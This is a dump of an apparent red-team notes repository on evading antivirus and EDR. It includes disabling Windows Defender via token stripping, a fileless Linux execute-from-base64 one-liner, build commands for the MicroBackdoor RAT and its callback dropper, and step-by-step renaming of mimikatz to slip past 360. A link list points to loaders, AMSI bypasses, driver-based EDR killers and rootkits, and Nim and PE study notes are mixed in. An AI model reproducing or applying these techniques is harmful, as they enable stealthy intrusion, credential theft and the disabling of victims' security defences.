https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/03-杀软致盲/无感知使Windows Defender失效/pic/06.png -------------------------------------------------------------------------------- /03-杀软致盲/无感知使Windows Defender失效/readme.md: -------------------------------------------------------------------------------- 1 | # 缺点 2 | 需要system权限 3 | 4 | # 优点 5 | Defender失效后,没有任何反应,适合高端钓鱼 6 | 7 | # 基本原理 8 | 去掉MsMpEng.exe(Defender进程)的token的privilege和integrity,由于没有对这个行为做限制,只要system权限都可以 9 | 10 | # 参考链接 11 | https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/ 12 | https://github.com/pwn1sher/KillDefender 13 | 14 | # 复现背景 15 | 16 | 测试版本:Win10 20H2 17 | 18 | # 复现过程 19 | 通过Process Explorer查看一下MsMpEng.exe这个进程的token的privilege和integrity,如下图圈出部分 20 | ![image](./pic/01.png) 21 | 将mimikatz_trunk.zip拷贝到虚拟机,能看到被拦截 22 | ![image](./pic/02.png) 23 | 经测试,普通用户权限控制台、管理员权限控制台执行后均失败,如下图 24 | ![image](./pic/03.png) 25 | 通过psexec获取system权限,执行KillDefender.exe,此时不再失败,如下图 26 | ![image](./pic/04.png) 27 | 再次通过Process Explorer查看一下MsMpEng.exe这个进程的token的privilege和integrity,如下图 28 | ![image](./pic/05.png) 29 | 拷贝mimikatz_trunk.zip,执行mimikatz均不再拦截,如下图 30 | ![image](./pic/06.png) -------------------------------------------------------------------------------- /Linux下限制可执行文件落地绕过/Linux无文件落地任意二进制执行.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/Linux下限制可执行文件落地绕过/Linux无文件落地任意二进制执行.docx -------------------------------------------------------------------------------- /Linux下限制可执行文件落地绕过/总结思考.md: -------------------------------------------------------------------------------- 1 | 文中说mktemp是直接开启一块内存,deepseek后解释是,创建一个名称独一无二的临时文件或文件夹,所以命令 2 | ``` 3 | base64 -d fscan.txt | (tmp=$(mktemp); cat > "$tmp" && chmod +x "$tmp" && "$tmp") 4 | ``` 5 | 我理解的其实等同于,将fscan.txt解码后重定向到一个文件,然后赋予执行权限 6 | 7 | 提到的另外一个技巧,通过tcp流直接读入并执行,这个可以 -------------------------------------------------------------------------------- /MicroBackdoor免杀测试笔记/pic/dynamic.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/MicroBackdoor免杀测试笔记/pic/dynamic.png -------------------------------------------------------------------------------- /MicroBackdoor免杀测试笔记/pic/persistent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/MicroBackdoor免杀测试笔记/pic/persistent.png -------------------------------------------------------------------------------- /MicroBackdoor免杀测试笔记/pic/readme.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /MicroBackdoor免杀测试笔记/readme.md: -------------------------------------------------------------------------------- 1 | https://github.com/Cr4sh/MicroBackdoor 2 | 3 | beacon端特点: 4 | 1、支持32-bit and 64-bit versions of Windows XP, Vista, 7, 8, 8.1, 10, Server 2003, Server 2003 R2, Server 2008, Server 2008 R2, Server 2012, Server 2012 R2, Server 2016 and Server 2019 of any editions, languages and service packs 5 | 2、dropper使用Microsoft JScript,一旦被查杀,很容易混淆 6 | 3、会检测系统的代理设置(SOCKS 4, SOCKS 5 or HTTP) 7 | 4、流量使用RSA加密 8 | 5、文件不落地,存储到注册表值中 9 | 10 | 服务端: 11 | 1、使用Python编写,跨平台 12 | 2、虚拟shell,查看、上传、下载文件 13 | 3、提供Python API和命令行接口可批量执行命令和脚本 14 | 15 | 安装: 16 | ``` 17 | #创建服务端 18 | #使用Ubuntu18.04 19 | #root用户登录 20 | apt install build-essential swig libssl-dev python python-dev python-setuptools python-pip 21 | pip install m2crypto pycrypto redis cherrypy 22 | apt install redis-server 23 | systemctl status redis-server 24 | systemctl enable redis-server 25 | ./server.py --keys 26 | ./server.py 27 | ``` 28 | ``` 29 | #创建客户端 30 | pip install pefile 31 | ./client_builder.py client.dll [server_IP] [server_PORT] 32 | ./client_encoder.py dll_inject_script client.dll > dropper.js 33 | ``` 34 | 35 | 经过测试发现: 36 | 1、dropper可以静态免杀 37 | 2、但在执行时会被Defender、360查杀(火绒、腾讯没有查杀),如下图 38 | ![image](./pic/dynamic.png) 39 | 3、持久化时会被Defender、360查杀(火绒、腾讯没有查杀),如下图 40 | ![image](./pic/persistent.png) 41 | 42 | 生成的dropper在xp下运行时,直接双击会没有反应,需要生成debug版本,且在命令行下执行cscript.exe .\droppper.js才能收到反连,但使用收到的反连执行命令会报错“500 internal error” 43 | -------------------------------------------------------------------------------- /Mimikatz源码免杀/pic/0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/Mimikatz源码免杀/pic/0.png -------------------------------------------------------------------------------- /Mimikatz源码免杀/pic/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/Mimikatz源码免杀/pic/1.png -------------------------------------------------------------------------------- /Mimikatz源码免杀/pic/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/Mimikatz源码免杀/pic/2.png -------------------------------------------------------------------------------- /Mimikatz源码免杀/pic/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/Mimikatz源码免杀/pic/3.png -------------------------------------------------------------------------------- /Mimikatz源码免杀/pic/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/Mimikatz源码免杀/pic/4.png -------------------------------------------------------------------------------- /Mimikatz源码免杀/pic/readme.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Mimikatz源码免杀/readme.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ### 0x00 基本原理 4 | 5 | 修改mimikatz的特征来绕过杀软查杀 6 | 编译后的mimikatz-x64被上传到当前目录下:katy-x64.exe 7 | 8 | 9 | 10 | ### 0x01 测试360安全卫士过程记录 11 | 12 | 受害机:Windows 2008 R2安装360安全卫士 13 | mimikatz编译过程见[编译过程记录](./编译过程记录.md) 14 | 1、编辑->查找和替换->在文件中替换,查找选项中不勾选“区分大小写”、不勾选“全字匹配”,将mimikatz替换为hellokaty,共替换326处,如下图 15 | ![image](./pic/2.png) 16 | 2、将mimikatz.c、mimikatz.h、mimikatz.ico、mimikatz.rc改为hellokaty.c、hellokaty.h、hellokaty.ico、hellokaty.rc 17 | 3、将作者名字Benjamin DELPY替换为Cenjamax REPLY 18 | 4、将(可能是作者网名)gentilkiwi替换为centilkiyi 19 | 5、将作者个人网站blog.gentilkiwi.com替换为up.down.baidu.com 20 | 6、替换mimikatz.ico为其他的.ico文件 21 | 重新编译文件,并重命名编译后的文件为katy.txt,将编译后的文件上传到受害机,能够绕过静态查杀及动态查杀,如下图 22 | ![image](./pic/3.png) 23 | 24 | 25 | 26 | ### 0x02 测试火绒过程记录 27 | 28 | 受害机:Windows 2008 R2安装火绒 29 | 同样的样本,会被火绒查杀,如下图 30 | ![image](./pic/4.png) 31 | -------------------------------------------------------------------------------- /Mimikatz源码免杀/编译过程记录.md: -------------------------------------------------------------------------------- 1 | 一开始使用VS2019,会报各种错误,后改用VS2017 2 | VS2017安装时需要勾选:使用C++的桌面开发、通用Winodws平台开发、以及右侧的最后3个选项,如下图(借用一下别人的图) 3 | ![image](./pic/1.png) 4 | 5 | 编译后报错“平台工具集问题” 6 | 解决方案:修改每一个项目的(或者只是mimikatz项目的)平台工具集,项目->属性->常规->平台工具集,选择Visual Studio 2017 (v141) 7 | 8 | 再次编译后报错“Windows SDK问题” 9 | 解决方案:修改每一个项目的(或者只是mimikatz项目的)Windows SDK,项目->属性->常规->Windows SDK版本,选择10.0.17134.0 10 | 11 | 再次编译后报错“警告被视为错误 - 没有生成object文件” 12 | 解决方案:项目->属性->C/C++->常规->将警告视为错误,选择否 13 | 14 | 再次编译后成功编译 15 | 将编译后的工具上传到Windows 2008 R2中测试,能够成功执行,如下图 16 | ![image](./pic/0.png) 17 | -------------------------------------------------------------------------------- /Nim语言学习/nim语言学习一.md: -------------------------------------------------------------------------------- 1 | # 0x01 Nim简介 2 | Nim原名Nimrod,是一种静态类型的、编译型的语言,本质上是一个翻译型语言,所以可以编译为C、C++、Object-C、JavaScript,语法类似Python 3 | 4 | # 0x02 Nim安装 5 | ## 01 *nix下安装 6 | ### 方式1:通过sh脚本 7 | ``` 8 | curl https://nim-lang.org/choosenim/init.sh -sSf | sh 9 | ``` 10 | ### 方式2:下载编译好的二进制 11 | ``` 12 | https://nim-lang.org/download/nim-1.6.12-linux_x64.tar.xz 13 | https://nim-lang.org/download/nim-1.6.12-linux_x32.tar.xz 14 | ``` 15 | ### 方式3:下载源代码自己编译 16 | ``` 17 | https://nim-lang.org/download/nim-1.6.12.tar.xz 18 | 19 | sh build.sh 20 | bin/nim c koch 21 | ./koch boot -d:release 22 | ./koch tools 23 | ``` 24 | ### 方式4:通过包管理器 25 | ``` 26 | # debian/ubuntu 27 | apt install nim 28 | 29 | # macOS 30 | brew install nim 31 | 32 | # 其他系统如Docker、Arch Linux、FreeBSD、OpenBSD、openSUSE、Void Linux参见: 33 | https://nim-lang.org/install_unix.html 34 | ``` 35 | ### 配置环境变量 36 | 37 | 对于编译好的二进制,配置如下环境变量 38 | 39 | ``` 40 | bin directory 41 | ~/.nimble/bin (where ~ is the home directory) 42 | ``` 43 | ### 编译器依赖 44 | Nim依赖C编译器,因此必须安装它并确保它在PATH环境变量中 45 | ``` 46 | # MacOS下安装clang 47 | xcode-select --install 48 | 49 | # Linux下通常默认带有C编译器,或者通过包管理器安装gcc或clang 50 | ``` 51 | ### 52 | 53 | 我这里选择包管理器的方式去安装,并安装Nim依赖的C编译器 54 | 55 | ``` 56 | brew install nim 57 | xcode-select --install 58 | ``` 59 | 60 | ## 02 Windows下安装 61 | 62 | ### 方式1:手动安装配置 63 | ``` 64 | 下载并解压:https://nim-lang.org/download/nim-1.6.12_x64.zip 65 | 66 | 解压后配置PATH环境变量 67 | bin directory 68 | ~/.nimble/bin (where ~ is the home directory) 69 | 70 | 如果没安装mingw还需要手动安装mingw 71 | ``` 72 | ### 方式2:自动安装配置 73 | ``` 74 | 下载并解压:https://nim-lang.org/download/nim-1.6.12_x64.zip 75 | 76 | 解压后,执行里面的finish.exe,他会自动做2件事,配置PATH环境变量以及安装mingw 77 | ``` 78 | ### 方式3:通过choosenim 79 | 80 | 81 | 82 | 我这里选择自动安装配置的方式,下载解压后,执行finish.exe,下载mingw后为它配置一下环境变量 83 | 84 | # 0x03 Nim基本语法 85 | nim的官方文档挺有趣的,会分为2类,对于有编程基础的建议看5分钟快速指南,对于没有编程基础的建议看详细指南,以下学习基于5分钟快速指南:https://learnxinyminutes.com/docs/nim/ 86 | 87 | ## 01 注释 88 | 单行注释使用# 89 | 多行注释使`#[`和`]#`,且多行注释可以内嵌 90 | ``` 91 | # Single-line comments start with a # 92 | 93 | #[ 94 | This is a multiline comment. 95 | In Nim, multiline comments can be nested, beginning with #[ 96 | ... and ending with ]# 97 | ]# 98 | ``` 99 | 多行注释还可以使用discard """ 100 | ``` 101 | discard """ 102 | This can also work as a multiline comment. 103 | Or for unparsable, broken code 104 | """ 105 | ``` 106 | 107 | ## 02 变量声明 108 | 使用var声明变量 109 | 110 | 可在声明的同时进行初始化,也可只声明不初始化 111 | 112 | 可带有类型,也可不带有类型 113 | 114 | ``` 115 | var 116 | boat: float 117 | letter: char = 'n' 118 | nLength: int = len(lang) 119 | truth: bool = false 120 | lang = "N" & "im" 121 | ``` 122 | 123 | 使用let声明的变量是不可变的 124 | ``` 125 | let 126 | legs = 400 127 | aboutPi = 3.15 128 | arms = 2_000 # _ are ignored and are useful for long numbers. 129 | ``` 130 | 131 | 使用const声明的常量是在编译时使用,这提供更好的性能,且对编译时表达式很有用 132 | ``` 133 | const 134 | debug = true 135 | compileBadCode = false 136 | ``` 137 | 138 | when类似于编译时if,就是说compileBadCode为false时,下列语句不会被编译 139 | ``` 140 | when compileBadCode: 141 | legs = legs + 1 142 | const input = readline(stdin) # 注意const类型的值在编译时必须是已知的,也就是说,这条语句是不行的 143 | ``` 144 | 145 | 如果一个表达式的结果未使用,编译器会提醒,可通过如下指令屏蔽提醒 146 | ``` 147 | discard 1 > 2 148 | ``` 149 | 150 | # 0x04 输入输出和流程控制 151 | 152 | case:类似于C语言中的case 153 | readLine():从标准输入或文件读入 154 | 155 | ``` 156 | echo "Read any good books lately?" 157 | case readLine(stdin) 158 | of "no", "No": 159 | echo "Go to your local library." 160 | of "yes", "Yes": 161 | echo "Carry on, then." 162 | else: 163 | echo "That's great; I assume." 164 | ``` 165 | 166 | while, if, continue, break:类似于C语言中的while, if, continue, break 167 | 168 | ``` 169 | import strutils as str # http://nim-lang.org/docs/strutils.html 170 | echo "I'm thinking of a number between 41 and 43. Guess which!" 171 | let number: int = 42 172 | var 173 | raw_guess: string 174 | guess: int 175 | while guess != number: 176 | raw_guess = readLine(stdin) 177 | if raw_guess == "": continue # Skip this iteration 178 | guess = str.parseInt(raw_guess) 179 | if guess == 1001: 180 | echo("AAAAAAGGG!") 181 | break 182 | elif guess > number: 183 | echo("Nope. Too high.") 184 | elif guess < number: 185 | echo(guess, " is too low") 186 | else: 187 | echo("Yeeeeeehaw!") 188 | ``` 189 | Iteration:循环 190 | ``` 191 | for i, elem in ["Yes", "No", "Maybe so"]: # Or just `for elem in` 192 | echo(elem, " is at index: ", i) 193 | 194 | for k, v in items(@[(person: "You", power: 100), (person: "Me", power: 9000)]): 195 | echo v 196 | 197 | let myString = """ 198 | an 199 | `string` to 200 | play with 201 | """ # Multiline raw string 202 | 203 | for line in splitLines(myString): 204 | echo(line) 205 | 206 | for i, c in myString: # Index and letter. Or `for j in` for just letter 207 | if i mod 2 == 0: continue # Compact `if` form 208 | elif c == 'X': break 209 | else: echo(c) 210 | ``` -------------------------------------------------------------------------------- /Nim语言学习/nim语言学习二.md: -------------------------------------------------------------------------------- 1 | # 数据结构 2 | Tuples:元组类型,类似于python中的字典 3 | ``` 4 | var 5 | child: tuple[name: string, age: int] # Tuples have *both* field names 6 | today: tuple[sun: string, temp: float] # *and* order. 7 | 8 | child = (name: "Rudiger", age: 2) # Assign all at once with literal () 9 | today.sun = "Overcast" # or individual fields. 10 | today.temp = 70.1 11 | ``` 12 | 13 | Sequences:序列类型,类似于python中的列表 14 | ``` 15 | var 16 | drinks: seq[string] 17 | 18 | drinks = @["Water", "Juice", "Chocolate"] # @[V1,..,Vn] is the sequence literal 19 | 20 | drinks.add("Milk") 21 | 22 | if "Milk" in drinks: 23 | echo "We have Milk and ", drinks.len - 1, " other drinks" 24 | 25 | let myDrink = drinks[2] 26 | ``` 27 | 28 | 自定义类型,类似于C语言中的结构体 29 | ``` 30 | type 31 | Name = string # 此方式定义了一个类型别名,它和原始类型是一样,但是描述性更强 32 | Age = int 33 | Person = tuple[name: Name, age: Age] # Define data structures too. 34 | AnotherSyntax = tuple 35 | fieldOne: string 36 | secondField: int 37 | 38 | var 39 | john: Person = (name: "John B.", age: 17) 40 | newage: int = 18 # It would be better to use Age than int 41 | 42 | john.age = newage # But still works because int and Age are synonyms 43 | 44 | type 45 | Cash = distinct int # `distinct` makes a new type incompatible with its 46 | Desc = distinct string # base type. 47 | 48 | var 49 | money: Cash = 100.Cash # `.Cash` converts the int to our type 50 | description: Desc = "Interesting".Desc 51 | 52 | when compileBadCode: 53 | john.age = money # Error! age is of type int and money is Cash 54 | john.name = description # Compiler says: "No way!" 55 | ``` 56 | 57 | Enumerations:枚举类型 58 | ``` 59 | type 60 | Color = enum cRed, cBlue, cGreen 61 | Direction = enum # Alternative formatting 62 | dNorth 63 | dWest 64 | dEast 65 | dSouth 66 | var 67 | orient = dNorth # `orient` is of type Direction, with the value `dNorth` 68 | pixel = cGreen # `pixel` is of type Color, with the value `cGreen` 69 | 70 | discard dNorth > dEast # Enums are usually an "ordinal" type 71 | 72 | # Subranges specify a limited valid range 73 | 74 | type 75 | DieFaces = range[1..20] # Only an int from 1 to 20 is a valid value 76 | var 77 | my_roll: DieFaces = 13 78 | 79 | when compileBadCode: 80 | my_roll = 23 # Error! 81 | ``` 82 | 83 | Arrays:数组类型 84 | ``` 85 | type 86 | RollCounter = array[DieFaces, int] # Arrays are fixed length and 87 | DirNames = array[Direction, string] # indexed by any ordinal type. 88 | Truths = array[42..44, bool] 89 | var 90 | counter: RollCounter 91 | directions: DirNames 92 | possible: Truths 93 | 94 | possible = [false, false, false] # Literal arrays are created with [V1,..,Vn] 95 | possible[42] = true 96 | 97 | directions[dNorth] = "Ahh. The Great White North!" 98 | directions[dWest] = "No, don't go there." 99 | 100 | my_roll = 13 101 | counter[my_roll] += 1 102 | counter[my_roll] += 1 103 | 104 | var anotherArray = ["Default index", "starts at", "0"] 105 | ``` 106 | 107 | # 函数 108 | Procedures:函数 109 | ``` 110 | type Answer = enum aYes, aNo 111 | 112 | proc ask(question: string): Answer = 113 | echo(question, " (y/n)") 114 | while true: 115 | case readLine(stdin) 116 | of "y", "Y", "yes", "Yes": 117 | return Answer.aYes # Enums can be qualified 118 | of "n", "N", "no", "No": 119 | return Answer.aNo 120 | else: echo("Please be clear: yes or no") 121 | 122 | proc addSugar(amount: int = 2) = # Default amount is 2, returns nothing 123 | assert(amount > 0 and amount < 9000, "Crazy Sugar") 124 | for a in 1..amount: 125 | echo(a, " sugar...") 126 | 127 | case ask("Would you like sugar in your tea?") 128 | of aYes: 129 | addSugar(3) 130 | of aNo: 131 | echo "Oh do take a little!" 132 | addSugar() 133 | # No need for an `else` here. Only `yes` and `no` are possible. 134 | ``` 135 | 136 | ## FFI 137 | 解释:全称Foreign Function Interface,译为外部函数接口,Nim中提供了现成的接口,只需遵循如下格式,即可调用C语言中的函数 138 | ``` 139 | proc strcmp(a, b: cstring): cint 140 | {.importc: "strcmp", nodecl.} 141 | 142 | let cmp = strcmp("C?", "Easy!") 143 | ``` 144 | 145 | # 函数用法 146 | ## encode 147 | 函数解释:nim中用于base64编解码的函数,除了可以编解码字符串,还可以编解码整数列表、字符列表 148 | 参考链接:https://nim-lang.org/docs/base64.html 149 | ``` 150 | import std/base64 151 | 152 | let encoded = encode("Hello World") 153 | assert encoded == "SGVsbG8gV29ybGQ=" 154 | 155 | let encodedInts = encode([1,2,3]) 156 | assert encodedInts == "AQID" 157 | let encodedChars = encode(['h','e','y']) 158 | assert encodedChars == "aGV5" 159 | 160 | let decoded = decode("SGVsbG8gV29ybGQ=") 161 | assert decoded == "Hello World" 162 | ``` 163 | 164 | ## fmt 165 | 函数解释:nim中的fmt类似于python中的format,用法:"abc {0}".format("out.nim") 166 | ``` 167 | "abc {}".fmt("out.nim") # 输出:abc out.nim 168 | ``` 169 | 170 | ## copyMem 171 | 函数原型:system.copyMem: proc (dest: pointer, source: pointer, size: Natural){.inline, noSideEffect, gcsafe, locks: 0.} 172 | 函数解释:从第二个参数的位置拷贝到第一个参数的位置,拷贝大小为第三个参数 173 | 说明1:addr是语法格式 174 | 参考链接::vscode中的插件nim by Konstantin Zaitsev 175 | ``` 176 | copyMem(addr plaintext[0], addr ByteEvilContent[0], len(ByteEvilContent)) 177 | ``` 178 | 179 | ## writeFile 180 | 函数解释:将第二个参数表示的内容写入第一个参数表示的文件名 181 | 参考链接:vscode中的插件nim by Konstantin Zaitsev 182 | ``` 183 | writeFile(r"serv.nim", BinderTemplate) 184 | ``` 185 | 186 | # 参考链接 187 | https://learnxinyminutes.com/docs/nim/ 188 | https://narimiran.github.io/nim-basics/ 189 | https://github.com/byt3bl33d3r/OffensiveNim 190 | http://blog.nsfocus.net/nim-summary/ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 0x01 AV/EDR原理 2 | ``` 3 | https://blog.deeb.ch/posts/how-edr-works/ 4 | https://www.edr-telemetry.com/ 5 | ``` 6 | 7 | # 0x02 WinDBG使用 8 | ``` 9 | https://p.ost2.fyi/ 10 | ``` 11 | 12 | # 0x03 免杀技巧 13 | ``` 14 | 01、Loader执行时需要密码【反沙箱对抗】 15 | 02、适当睡眠【动态免杀对抗】 16 | 03、垃圾代码【静态免杀对抗,类似于花指令、LLVM】 17 | ``` 18 | 19 | # 0x04 LNK钓鱼马免杀 20 | ``` 21 | https://www.cybereason.com/blog/threat-analysis-taking-shortcuts-using-lnk-files-for-initial-infection-and-persistence 22 | 【LNK文件深度解析-钓鱼攻击利用姿势】https://mp.weixin.qq.com/s/-sGRCSoOxP2a9aR0vNoZVw 23 | ``` 24 | 25 | # 0x05 UAC Bypass 26 | ``` 27 | # 面向个人PC,适用于社工 28 | https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC 29 | ``` 30 | 31 | # 0x06 白加黑 32 | ``` 33 | https://hijacklibs.net/ 34 | 35 | 【工具推荐】 - ZeroEye3.3免杀辅助利器,自动化找白加黑,支持生成模板。 36 | https://mp.weixin.qq.com/s/D0x4XSr37cMrv7Y4ScRqTg 37 | https://github.com/ImCoriander/ZeroEye 38 | 39 | 【工具推荐】 - 比Everything弱一点的自动化白加黑工具(灰梭子) 40 | https://mp.weixin.qq.com/s?__biz=MzkyNDUzNjk4MQ==&mid=2247483925&idx=1&sn=7424113417378915f17155260bdeef67&chksm=c1d51beff6a292f9cbb906cbaa2a55925d7ac1faeb9860b2d340b95cd33a2a0478d494daf711&scene=21#wechat_redirect 41 | ``` 42 | 43 | # 0x07 Shellcode Loader 44 | ``` 45 | https://ericesquivel.github.io/posts/bypass 46 | https://github.com/thomasxm/BOAZ_beta 47 | https://blog.malicious.group/writing-your-own-rdi-srdi-loader-using-c-and-asm/ 48 | https://github.com/0xHossam/HuffLoader 49 | https://github.com/UmaRex01/Hit-And-Run 50 | ``` 51 | 52 | # 0x08 AMSI 53 | ``` 54 | https://practicalsecurityanalytics.com/blog/red-team/ 55 | https://github.com/EvilBytecode/Ebyte-AMSI-ProxyInjector 56 | ``` 57 | 58 | # 0x09 COM技术 59 | ``` 60 | https://mohamed-fakroud.gitbook.io/red-teamings-dojo/abusing-idispatch-for-trapped-com-object-access-and-injecting-into-ppl-processes 61 | ``` 62 | 63 | # 0x10 LLVM 64 | ``` 65 | https://github.com/obfuscator-llvm/obfuscator 66 | ``` 67 | 68 | # 0x11 奇技淫巧 69 | ``` 70 | https://cloudbrothers.info/en/edr-silencers-exploring-methods-block-edr-communication-part-1/ 71 | 72 | # Linux下二进制混淆 73 | https://github.com/hackerschoice/bincrypter 74 | 75 | 内存修改 76 | 77 | 硬件断点 78 | ``` 79 | 80 | # 0x12 Kill AV/EDR 81 | ``` 82 | https://www.loldrivers.io/ 83 | 84 | https://github.com/m0nad/Diamorphine 85 | https://github.com/bytecode77/r77-rootkit 86 | https://github.com/eversinc33/Banshee 87 | 【白驱动 Kill AV/EDR(上)】https://myzxcg.com/2023/09/白驱动-Kill-AV/EDR上/ 88 | 【BYOVD ATTACK 学习】https://xz.aliyun.com/news/12373 89 | https://www.binarydefense.com/resources/blog/threadsleeper-suspending-threads-via-gmer64-driver/ 90 | https://www.sangfor.com/farsight-labs-threat-intelligence/cybersecurity/what-is-byovd-attacks-2023 91 | https://github.com/MaorSabag/TrueSightKiller 92 | ``` 93 | 94 | # 0x13 AV/EDR模拟 95 | ``` 96 | https://github.com/BlackSnufkin/LitterBox 97 | ``` 98 | 99 | # 0x14 APT组织 100 | ``` 101 | 揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击 102 | https://mp.weixin.qq.com/s/ZUR7-2OdZcQiq8A8qiptwg 103 | 使用的技术:lnk钓鱼、rundll32、api hash、dll劫持、syscall 104 | 105 | https://mp.weixin.qq.com/s/S7Iq5DfO7xNX3GPJzwedPw 106 | Operation(润)RUN:“离岸爱国者”的赛博狂欢 107 | ``` -------------------------------------------------------------------------------- /Windows PE学习/Windows PE学习笔记.md: -------------------------------------------------------------------------------- 1 | # 学习过程 2 | 如下是我简单总结的每块知识,具体可见参考链接中的文章 3 | 4 | ## 进程虚拟地址空间 5 | 6 | 一共4GB的虚拟地址空间,进程映像的起始地址通常是0x00400000,高地址处的1G空间通常给内核使用,其余3G空间给用户使用 7 | 8 | ## 虚拟内存页和物理内存页映射 9 | 10 | 虚拟内存要映射到物理内存,才会被CPU真正执行,映射到物理内存时,会被分成一块一块4KB大小的内存片,需要的内存片才会被映射到物理内存 11 | 12 | ## PE32可执行文件包括哪些部分 13 | 14 | .code:包含代码 15 | 16 | .data:包含数据,例如全局变量 17 | 18 | .idata:包含导入表,用于导入Windows API 19 | 20 | ## FOA、RVA 21 | 22 | FOA:File Offset Address(在磁盘中相对于文件头地址的偏移) 23 | 24 | RVA:Relative Virtual Address(在内存中相对于起始地址的偏移) 25 | 26 | ## Bit、Byte、WORD、DWORD 27 | 28 | 1Byte(字节)=8Bit(位) 29 | 30 | 1WORD(字)=2Byte(字节) 31 | 32 | 1DWORD(双字)=4Byte(字节) 33 | 34 | 1QWORD(四字)=8Byte(字节) 35 | 36 | ## 大端模式小端模式 37 | 38 | 大端模式:数据的高字节位于内存低地址处,例如,0x1234,0x12是数据高字节,位于内存低地址处,也就是数据在内存的起始位置 39 | 40 | 小端模式:数据的低字节位于内存低地址处,例如,0x1234,0x34是数据低字节,位于内存低地址处,也就是数据在内存的起始位置 41 | 42 | 如下C++代码判断当前CPU是大端小端,经判断当前Intel x64 CPU是小端模式 43 | 44 | ``` 45 | #include 46 | 47 | using namespace std; 48 | 49 | int main() 50 | { 51 | short int i = 0x1234; 52 | char x = 0x12; 53 | char y = 0x34; 54 | char c = *(char*)&i; 55 | 56 | //低位地址存放的是最高有效字节 57 | if (c == x) 58 | { 59 | cout << "大端模式" << endl; 60 | } 61 | 62 | //低位地址存放的是最低有效字节 63 | if (c == y) 64 | { 65 | cout << "小端模式" << endl; 66 | } 67 | } 68 | ``` 69 | 70 | # 最终成果 71 | ![image](./pic/01.jpg) 72 | 73 | # 参考链接 74 | 【PE32格式学习之手动创建一个简单的Windows程序】https://xz.aliyun.com/t/14105 75 | https://blog.csdn.net/jason_cuijiahui/article/details/79010257 -------------------------------------------------------------------------------- /Windows PE学习/pic/01.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ybdt/evasion-hub/83a6e9e3d2444cecddc75e3cfbbc459968ddeb1a/Windows PE学习/pic/01.jpg -------------------------------------------------------------------------------- /【C】【C++】【汇编】基础知识补充/C++输入输出二进制文件.md: -------------------------------------------------------------------------------- 1 | # 从文件读取 2 | ``` 3 | char rawData[265728] = { 0 }; 4 | ifstream i_file; 5 | i_file.open("beacon-x64.bin", ios::binary | ios::in | ios::out); 6 | i_file.read(rawData, sizeof(rawData)); 7 | ``` 8 | 9 | # 输出到文件 10 | ``` 11 | // 注意,程序不会自己创建文件a.bin,需要先创建a.bin 12 | #include 13 | 14 | using namespace std; 15 | 16 | int main() { 17 | char write_buf[100] = { 1 }; 18 | ofstream o_file; 19 | o_file.open("a.bin", ios::binary | ios::in | ios::out); 20 | o_file.write(write_buf, sizeof(write_buf)); 21 | 22 | return 0; 23 | } 24 | ``` 25 | 26 | # 参考链接 27 | C++编程实战宝典 郝军 等编著 -》第15章 流操作(拿出点时间学习一下) -------------------------------------------------------------------------------- /【C】【C++】【汇编】基础知识补充/关闭控制台窗口的2种实现方式.md: -------------------------------------------------------------------------------- 1 | ``` 2 | #pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示窗口 3 | 4 | ShowWindow(GetForegroundWindow(), SW_HIDE); //不显示窗口 5 | ``` -------------------------------------------------------------------------------- /动态免杀/BOF过杀软添加用户/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.1. 8 | */ 9 | 10 | /* data API */ 11 | typedef struct { 12 | char * original; /* the original buffer [so we can free it] */ 13 | char * buffer; /* current pointer into our buffer */ 14 | int length; /* remaining length of data */ 15 | int size; /* total size of this buffer */ 16 | } datap; 17 | 18 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 19 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 20 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 21 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 22 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 23 | 24 | /* format API */ 25 | typedef struct { 26 | char * original; /* the original buffer [so we can free it] */ 27 | char * buffer; /* current pointer into our buffer */ 28 | int length; /* remaining length of data */ 29 | int size; /* total size of this buffer */ 30 | } formatp; 31 | 32 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 33 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 34 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 35 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 36 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 37 | DECLSPEC_IMPORT char * 